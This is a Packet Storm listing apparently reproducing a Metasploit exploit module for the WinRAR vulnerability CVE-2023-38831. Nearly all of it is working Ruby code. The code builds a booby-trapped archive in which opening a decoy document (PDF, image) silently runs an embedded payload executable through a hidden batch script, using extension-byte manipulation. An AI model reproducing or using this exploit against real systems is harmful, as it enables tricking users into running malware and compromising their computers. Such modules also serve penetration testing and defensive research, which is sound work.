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WinRAR Remote Code Execution

This Metasploit module exploits a vulnerability in WinRAR (CVE-2023-38831). When a user opens a crafted RAR file and its embedded document, the decoy document is executed, leading to code execution.

Packet Storm
#vulnerability#windows#git#rce#pdf#auth#zero_day
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'zip'class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::FILEFORMAT  include Msf::Exploit::EXE  def initialize(info = {})    super(      update_info(        info,        'Name' => 'WinRAR CVE-2023-38831 Exploit',        'Description' => %q{          This module exploits a vulnerability in WinRAR (CVE-2023-38831). When a user opens a crafted RAR file and its          embedded document, the decoy document is executed, leading to code execution.        },        'License' => MSF_LICENSE,        'Author' => ['Alexander "xaitax" Hagenah'],        'References' => [          ['CVE', '2023-38831'],          ['URL', 'https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/'],          ['URL', 'https://b1tg.github.io/post/cve-2023-38831-winrar-analysis/']        ],        'Platform' => ['win'],        'Arch' => [ ARCH_X64, ARCH_X86 ],        'Targets' => [['Windows', {}]],        'Payload' => {          'DisableNops' => true        },        'DisclosureDate' => '2023-08-23',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options([      OptString.new('OUTPUT_FILE', [true, 'The output filename.', 'poc.rar']),      OptPath.new('INPUT_FILE', [true, 'Path to the decoy file (PDF, JPG, PNG, etc.).'])    ])    register_advanced_options([      OptString.new('PAYLOAD_NAME', [false, 'The filename for the payload executable.', nil])    ])  end  def exploit    Dir.mktmpdir do |temp_dir|      output_rar = File.join(Msf::Config.local_directory, datastore['OUTPUT_FILE'])      input_file = datastore['INPUT_FILE']      decoy_name = File.basename(input_file)      decoy_ext = ".#{File.extname(input_file)[1..]}"      payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(8) + '.exe'      decoy_dir = File.join(temp_dir, "#{decoy_name}A")      Dir.mkdir(decoy_dir)      payload_path = File.join(decoy_dir, payload_name)      File.open(payload_path, 'wb') { |file| file.write(generate_payload_exe) }      bat_script = <<~BAT        @echo off        start "" "%~dp0#{payload_name}"        start "" "%~dp0#{decoy_name}"      BAT      bat_path = File.join(decoy_dir, "#{decoy_name}A.cmd")      File.write(bat_path, bat_script)      FileUtils.cp(input_file, File.join(temp_dir, "#{decoy_name}B"))      zip_path = File.join(temp_dir, 'template.zip')      Zip::File.open(zip_path, Zip::File::CREATE) do |zipfile|        zipfile.add("#{decoy_name}B", File.join(temp_dir, "#{decoy_name}B"))        zipfile.add("#{decoy_name}A/#{decoy_name}A.cmd", bat_path)        zipfile.add("#{decoy_name}A/#{payload_name}", payload_path)      end      content = File.binread(zip_path)      content.gsub!(decoy_ext + 'A', decoy_ext + ' ')      content.gsub!(decoy_ext + 'B', decoy_ext + ' ')      File.binwrite(output_rar, content)      print_good("Created #{output_rar}")    end  endend

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